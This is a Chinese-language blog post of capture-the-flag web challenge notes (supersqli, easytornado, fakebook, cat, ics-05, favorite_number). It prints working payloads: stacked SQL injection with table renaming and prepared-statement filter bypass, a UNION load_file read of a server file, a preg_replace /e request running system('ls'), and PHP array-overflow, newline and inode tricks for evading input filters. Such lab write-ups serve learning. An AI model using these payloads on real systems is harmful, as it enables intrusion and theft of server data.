record-one
(0)

supersqli

  • 堆叠注入
    多条sql语句一起执行,中间用分号(;)分开
  • 改表名

这个题可以显示出words表的id字段,我们要查询flag字段,所以把表名改为了words,flag字段改成了id字段

 ;alter table words rename to words1;alter table `1919810931114514` rename to words;
 alter table words change flag id varchar(50);#
  • 反引号
    MySQL表名为纯数字时,要加反引号
  • 预编译

预编译语句将sql语句中的值用占位符替代,可以一次编译,多次运行
这个题就是:

 -1';
 sEt @sql=CONCAT('sel','lect*from `19198109831114514`;');
 prEpare stmt from @sql;
 EXECUTE stmt; #
  • handler查询
    mysql查询语句-handler
    handler tbl_name open; //打开一个表,声明一个句柄
    handler tbl_name read first; //获取句柄第一行,next获取下一行

easytornado

  • tornado中的cookie
    这个题要知道md5(cookie_secret+md5(filename))

cookie_secret是由RequestHandler.get_secure_cookie 和set_secure_cookie用于对 cookie 进行签名。
handler指向当前页面的requesthandler对象,requesthandler.settings的别名是self.qpplication.settings
传递给构造函数的其他关键字参数保存在setting字典中,这里面包含一些设置的值,其中就包括cookie_secret
self.qpplication.settings

fakebook

参考链接

  • load_file函数
    可以访问系统文件,内容以字符串形式返回,需要高权限,参数要求文件的绝对路径。

    view.php?no=2 union/**/select 1,load_file("/var/www/html/flag.php"),3,4#
  • curl_exec()

在这个函数中并没有对传入的url进行过滤,并且使用了curl_exe函数,这个危险函数可以进行网络访问和支持伪协议,这存在一个ssrf

cat

  • 宽字节编码
    ASCII是一种单字节的编码,但是ASCII只用到单字节字符的一半(x80),后来要表示其他语言,就会用两个字节表示一个字符,如果第一个字符是x80以上就加上后面一个字节
  • php的curl上传组件

这里要用@加上文件绝对路径读取文件

  • django的debug模式

开启debug模式后,如果代码出现bug,浏览器会打印错误,可能泄露信息

ics-05

  • pre_replace函数/e

    函数作用:搜索subject中匹配pattern的部分, 以replacement进行替换。
    $pattern: 要搜索的模式,可以是字符串或一个字符串数组。
    $replacement: 用于替换的字符串或字符串数组。
    $subject: 要搜索替换的目标字符串或字符串数组。

    如果pattern参数传入/e,后面replacement参数的内容将当成PHP代码执行,pat和sub两个参数有相同部分时,代码将执行

GET /index.php?pat=/.*/e&rep=system(‘ls’)&sub=qq HTTP/1.1

  • LFI漏洞的黑盒判断方法
    单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞。

favorite_number

请输入链接描述

  • PHP数组的key溢出问题
    $stuff = $_POST["stuff"];

$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin')
数组强等于,但是第一个元素不相同

 stuff[4294967296]=admin&stuff[1]=user&num=123
 stuff[-4294967296]=admin&stuff[1]=user&num=123
  • 换行符绕过正则跨行匹配
  1. (preg_match("/^d+$/im",$num))

d会匹配数字,所以要绕过这个匹配
这里不能使用hackbar来执行payload,因为火狐浏览器会自动在换行符%0a前面加上回车符%0d,凑成%0d%0a,使绕过失败。

  • 文件名绕过
    1.用inode索引节点
    ls -i /找根目录下文件的inode号
    然后cat被过滤用其他函数代替
    tac 'find / -inum 38406195'
    2.将文件名输出到文件里,然后执行文件

stuff[4294967296]=admin&stuff[1]=user&num=123%0a
printf /fla > /tmp/hello && printf g >> /tmp/hello && tac tac /tmp/hello

本文为作者hackerbo.com发布,未经允许禁止转载!
上一篇 下一篇
评论
暂无评论 >_<
加入评论